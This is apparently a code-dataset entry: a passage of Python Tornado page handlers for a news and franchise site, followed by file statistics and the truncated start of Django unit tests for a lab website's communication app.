populars=populars, activities=activities, hots=hots, lastest_comments=lastest_comments, league_id=LEAGUE_ID, api_domain=API_DOMAIN, multimedias=multimedias) class NewsupShortcodesHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() # news(新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"30a56cb8f73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/shortcodes.html', is_login=is_login, league_info=league_info, news=news, activities=activities, api_domain=API_DOMAIN, populars=populars) class NewsupContactHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/contact.html', is_login=is_login, league_info=league_info, lastest_comments=lastest_comments, api_domain=API_DOMAIN, league_id=LEAGUE_ID) class NewsupItemDetailHandler(BaseHandler): def get(self): logging.info(self.request) article_id = self.get_argument("id", "") # league(联盟信息) league_info = self.get_league_info() # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # article url = API_DOMAIN+"/api/articles/"+article_id http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got article response %r", response.body) data = json_decode(response.body) article_info = data['rs'] article_info['publish_time'] = timestamp_friendly_date(article_info['publish_time']) # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # update read_num read_num = article_info['read_num'] url = API_DOMAIN+"/api/articles/"+article_id+"/read" http_client = HTTPClient() _body = {"read_num": read_num+1} _json = json_encode(_body) response = http_client.fetch(url, method="POST", body=_json) logging.info("got update read_num response %r", response.body) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/item-detail.html', is_login=is_login, access_token=access_token, league_info=league_info, article_info=article_info, news=news, populars=populars, hots=hots, activities=activities, api_domain=API_DOMAIN, multimedias=multimedias, lastest_comments=lastest_comments) class NewsupNewHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/new.html', league_info=league_info, api_domain=API_DOMAIN, is_login=is_login) class NewsupCategoryTileHandler(BaseHandler): def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/category-tile.html', is_login=is_login, league_info=league_info, lastest_comments=lastest_comments, news=news, activities=activities, api_domain=API_DOMAIN, populars=populars) class NewsupCategoryHandler(BaseHandler): def get(self): logging.info(self.request) category_id = self.get_argument("id", "") # league(联盟信息) league_info = self.get_league_info() # query category_name by category_id url = API_DOMAIN+"/api/categories/" + category_id http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) category = data['rs'] # query by category_id params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":category_id, "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) sceneries = data['rs'] for article in sceneries: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/category.html', is_login=is_login, league_info=league_info, sceneries=sceneries, news=news, hots=hots, populars=populars, activities=activities, lastest_comments=lastest_comments, multimedias=multimedias, league_id=LEAGUE_ID, category_id=category_id, api_domain=API_DOMAIN, category=category) class NewsupCategorySearchHandler(BaseHandler): def get(self): logging.info(self.request) category_id = self.get_argument("id", "") # league(联盟信息) league_info = self.get_league_info() # query category_name by category_id url = API_DOMAIN+"/api/categories/" + category_id http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) category = data['rs'] # query by category_id params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":category_id, "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) sceneries = data['rs'] for article in sceneries: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/category-search.html', is_login=is_login, league_info=league_info, sceneries=sceneries, news=news, hots=hots, populars=populars, activities=activities, lastest_comments=lastest_comments, multimedias=multimedias, league_id=LEAGUE_ID, category_id=category_id, api_domain=API_DOMAIN, category=category) class NewsupFranchisesHandler(BaseHandler): def get(self): logging.info(self.request) franchise_type = self.get_argument("franchise_type", "") franchise_type = franchise_type.encode('utf-8') logging.info("got franchise_type %r from argument", franchise_type) # league(联盟信息) league_info = self.get_league_info() # franchises(景区) params = {"franchise_type":franchise_type, "page":1, "limit":1} url = url_concat(API_DOMAIN+"/api/leagues/"+LEAGUE_ID+"/clubs", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) franchises = data['rs']['data'] for franchise in franchises: franchise['create_time'] = timestamp_friendly_date(franchise['create_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/franchises.html', is_login=is_login, league_info=league_info, franchises=franchises, multimedias=multimedias, news=news, hots= hots, populars=populars, activities=activities, lastest_comments=lastest_comments, league_id=LEAGUE_ID, api_domain=API_DOMAIN, franchise_type=franchise_type) class NewsupFranchiseDetailHandler(BaseHandler): def get(self): logging.info(self.request) franchise_id = self.get_argument("id", "") access_token = self.get_secure_cookie("access_token") # league(联盟信息) league_info = self.get_league_info() # recently articles(最新文章news) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # article url = API_DOMAIN+"/api/clubs/"+franchise_id http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got article response %r", response.body) data = json_decode(response.body) franchise = data['rs'] if not franchise.has_key('paragraphs'): franchise['paragraphs'] = '' if not franchise.has_key('franchise_type'): franchise['franchise_type'] = 'franchise' if franchise.has_key('create_time'): franchise['create_time'] = timestamp_friendly_date(franchise['create_time']) else: franchise['create_time'] = timestamp_friendly_date(0) # franchise['create_time'] = timestamp_friendly_date(franchise['create_time']) # hot(热点新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"1b86ad38f73411e69a3c00163e023e51", "idx":0, "limit":12} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) hots = data['rs'] for article in hots: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # update read_num read_num = franchise['read_num'] url = API_DOMAIN+"/api/articles/"+franchise_id+"/read" http_client = HTTPClient() _body = {"read_num": read_num+1} _json = json_encode(_body) response = http_client.fetch(url, method="POST", body=_json) logging.info("got update read_num response %r", response.body) # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/franchise-detail.html', is_login=is_login, access_token=access_token, league_info=league_info, franchise=franchise, news=news, populars=populars, hots=hots, activities=activities, multimedias=multimedias, api_domain=API_DOMAIN, lastest_comments=lastest_comments) class NewsupApplyFranchiseHandler(AuthorizationHandler): @tornado.web.authenticated # if no session, redirect to login page def get(self): logging.info(self.request) # league(联盟信息) league_info = self.get_league_info() is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True franchise = None try: params = {"filter":"franchise"} url = url_concat(API_DOMAIN+"/api/myinfo", params) http_client = HTTPClient() headers={"Authorization":"Bearer "+access_token} response = http_client.fetch(url, method="GET", headers=headers) logging.info("got response %r", response.body) data = json_decode(response.body) franchise = data['rs'] if franchise: if not franchise['club'].has_key("province"): franchise['club']['province'] = '' franchise['club']['city'] = '' if not franchise['club'].has_key("city"): franchise['club']['city'] = '' if not franchise['club'].has_key("franchise_type"): franchise['club']['franchise_type'] = '' franchise['create_time'] = timestamp_datetime(franchise['create_time']) except: logging.info("got franchise=[None]") # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) self.render('newsup/apply-franchise.html', is_login=is_login, league_info=league_info, access_token=access_token, league_id=LEAGUE_ID, franchise=franchise, api_domain=API_DOMAIN, upyun_domain=UPYUN_DOMAIN, upyun_notify_url=UPYUN_NOTIFY_URL, upyun_form_api_secret=UPYUN_FORM_API_SECRET, upyun_bucket=UPYUN_BUCKET, lastest_comments=lastest_comments) class NewsupSearchResultHandler(BaseHandler): def get(self): logging.info(self.request) # category_id = self.get_argument("id", "") # league(联盟信息) league_info = self.get_league_info() # query by category_id # params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":category_id, "idx":0, "limit":6} # url = url_concat(API_DOMAIN+"/api/articles", params) # http_client = HTTPClient() # response = http_client.fetch(url, method="GET") # logging.info("got sceneries response %r", response.body) # data = json_decode(response.body) # sceneries = data['rs'] # for article in sceneries: # article['publish_time'] = timestamp_friendly_date(article['publish_time']) # multimedia params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/multimedias", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) multimedias = data['rs'] # news(新闻) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0e9a3c68e94511e6b40600163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) news = data['rs'] for article in news: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # popular(流行) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"3801d62cf73411e69a3c00163e023e51", "idx":0, "limit":6} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) populars = data['rs'] for article in populars: article['publish_time'] = timestamp_friendly_date(article['publish_time']) # activity(活动) params = {"filter":"league", "league_id":LEAGUE_ID, "status":"publish", "category":"0bbf89e2f73411e69a3c00163e023e51", "idx":0, "limit":4} url = url_concat(API_DOMAIN+"/api/articles", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) activities = data['rs'] # lastest comments(最新的评论) params = {"filter":"league", "league_id":LEAGUE_ID, "idx":0, "limit":5} url = url_concat(API_DOMAIN+"/api/last-comments", params) http_client = HTTPClient() response = http_client.fetch(url, method="GET") logging.info("got response %r", response.body) data = json_decode(response.body) lastest_comments = data['rs'] for comment in lastest_comments: comment['create_time'] = timestamp_friendly_date(comment['create_time']) is_login = False access_token = self.get_secure_cookie("access_token") if access_token: is_login = True self.render('newsup/search-result.html', is_login=is_login, league_info=league_info, news=news, populars=populars, activities=activities, lastest_comments=lastest_comments, multimedias=multimedias, league_id=LEAGUE_ID, api_domain=API_DOMAIN)

42.344051

147

0.617264

5,878

52,676

5.330384

0.045594

0.049151

0.035236

0.056524

0.911943

0.896751

0.885484

0.881782

0.872558

0.855962

0

0.024716

0.253436

52,676

1,243

148

42.378117

0.772008

0.051162

0

0.873837

0

0.177136

0.026935

0

1

0.01758

false

0

0.015512

0

0.051706

0

null

0

1

0

1

0

null

0

7

6fd68838a198e555cedc8ddbc815c1bf6e3f505a

14,526

py

Python

communication/tests.py

BridgesLab/Lab-Website

d6f6c9c068bbf668c253e5943d9514947023e66d

[ "CC0-1.0", "MIT" ]

6

2015-08-31T16:55:16.000Z

2022-02-10T08:23:07.000Z

communication/tests.py

BridgesLab/Lab-Website

d6f6c9c068bbf668c253e5943d9514947023e66d

[ "CC0-1.0", "MIT" ]

30

2015-03-22T15:49:31.000Z

2020-05-25T23:59:37.000Z

communication/tests.py

BridgesLab/Lab-Website

d6f6c9c068bbf668c253e5943d9514947023e66d

[ "CC0-1.0", "MIT" ]

6

2016-09-07T08:25:21.000Z

2020-03-27T10:24:57.000Z

""" This file contains the unit tests for the :mod:`communication` app. Since this app has no models there is model and view tests: * :class:`~communication.tests.CommunicationModelTests` * :class:`~communication.tests.CommunicationViewTests` """ from lab_website.tests import BasicTests from communication.models import LabAddress,LabLocation,Post from personnel.models import Address, Person from papers.models import Publication from projects.models import Project class CommunicationModelTests(BasicTests): '''This class tests the views associated with models in the :mod:`communication` app.''' fixtures = ['test_address',] def test_create_new_lab_address(self): '''This test creates a :class:`~communication.models.LabAddress` with the required information.''' test_address = LabAddress(type='Primary', address=Address.objects.get(pk=1)) #repeat for all required fields test_address.save() self.assertEqual(test_address.pk, 1) #presumes no models loaded in fixture data def test_lab_address_unicode(self): '''This tests the unicode representation of a :class:`~communication.models.LabAddress`.''' test_address = LabAddress(type='Primary', address=Address.objects.get(pk=1)) #repeat for all required fields test_address.save() self.assertEqual(test_address.pk, 1) #presumes no models loaded in fixture data self.assertEqual(test_address.__unicode__(), Address.objects.get(pk=1).__unicode__()) def test_create_new_lab_location(self): '''This test creates a :class:`~communication.models.LabLocation` with the required information only.''' test_location = LabLocation(name = 'Memphis', type='City', priority=1) #repeat for all required fields test_location.save() self.assertEqual(test_location.pk, 1) #presumes no models loaded in fixture data def test_create_new_lab_location_all(self): '''This test creates a :class:`~communication.models.LabLocation` with all fields included.''' test_location = LabLocation(name = 'Memphis', type='City', priority=1, address=Address.objects.get(pk=1), url = 'www.cityofmemphis.org', description = 'some description about the place', lattitude = 35.149534, longitude = -90.04898,) #repeat for all required fields test_location.save() self.assertEqual(test_location.pk, 1) #presumes no models loaded in fixture data def test_lab_location_unicode(self): '''This test creates a :class:`~communication.models.LabLocation` with the required information only.''' test_location = LabLocation(name = 'Memphis', type='City', priority=1) #repeat for all required fields test_location.save() self.assertEqual(test_location.pk, 1) self.assertEqual(test_location.__unicode__(), 'Memphis') class CommunicationViewTests(BasicTests): '''This class tests the views associated with the :mod:`communication` app.''' def test_feed_details_view(self): """This tests the feed-details view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/feeds') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'feed_details.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('google_calendar_id' in test_response.context) def test_lab_rules_view(self): '''This tests the lab-rules view. The tests ensure that the correct template is used. It also tests whether the correct context is passed (if included). his view uses a user with superuser permissions so does not test the permission levels for this view.''' test_response = self.client.get('/lab-rules') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'lab_rules.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('lab_rules' in test_response.context) self.assertTrue('lab_rules_source' in test_response.context) def test_lab_rules_view(self): '''This tests the data-resource-sharing view. The tests ensure that the correct template is used. It also tests whether the correct context is passed (if included). his view uses a user with superuser permissions so does not test the permission levels for this view.''' test_response = self.client.get('/data-resource-sharing') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'data_sharing_policy.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('data_sharing_policy' in test_response.context) self.assertTrue('data_sharing_policy_source' in test_response.context) def test_twitter_view(self): '''This tests the twitter view. Currently it just ensures that the template is loading correctly. ''' test_response = self.client.get('/twitter') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'twitter_timeline.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('timeline' in test_response.context) def test_calendar_view(self): '''This tests the google-calendar view. Currently it just ensures that the template is loading correctly. ''' test_response = self.client.get('/calendar') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'calendar.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('google_calendar_id' in test_response.context) # # def test_wikipedia_view(self): # '''This tests the google-calendar view. # # Currently it just ensures that the template is loading correctly. # ''' # test_response = self.client.get('/wikipedia') # self.assertEqual(test_response.status_code, 200) # self.assertTemplateUsed(test_response, 'wikipedia_edits.html') # self.assertTemplateUsed(test_response, 'base.html') # self.assertTemplateUsed(test_response, 'jquery_script.html') # self.assertTrue('pages' in test_response.context) def test_news_view(self): '''This tests the lab-news view. Currently it just ensures that the template is loading correctly. ''' test_response = self.client.get('/news') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'lab_news.html') self.assertTemplateUsed(test_response, 'base.html') #self.assertTrue('statuses' in test_response.context) self.assertTrue('links' in test_response.context) #self.assertTrue('milestones' in test_response.context) def test_contact_page(self): '''This tests the contact-page view. Currently it just ensures that the template is loading correctly. ''' test_response = self.client.get('/contact/') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'contact.html') self.assertTemplateUsed(test_response, 'base.html') def test_location_page(self): '''This tests the location view. Currently it ensures that the template is loading, and that that the location_list context is passed. ''' test_response = self.client.get('/location') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'location.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTrue('lablocation_list' in 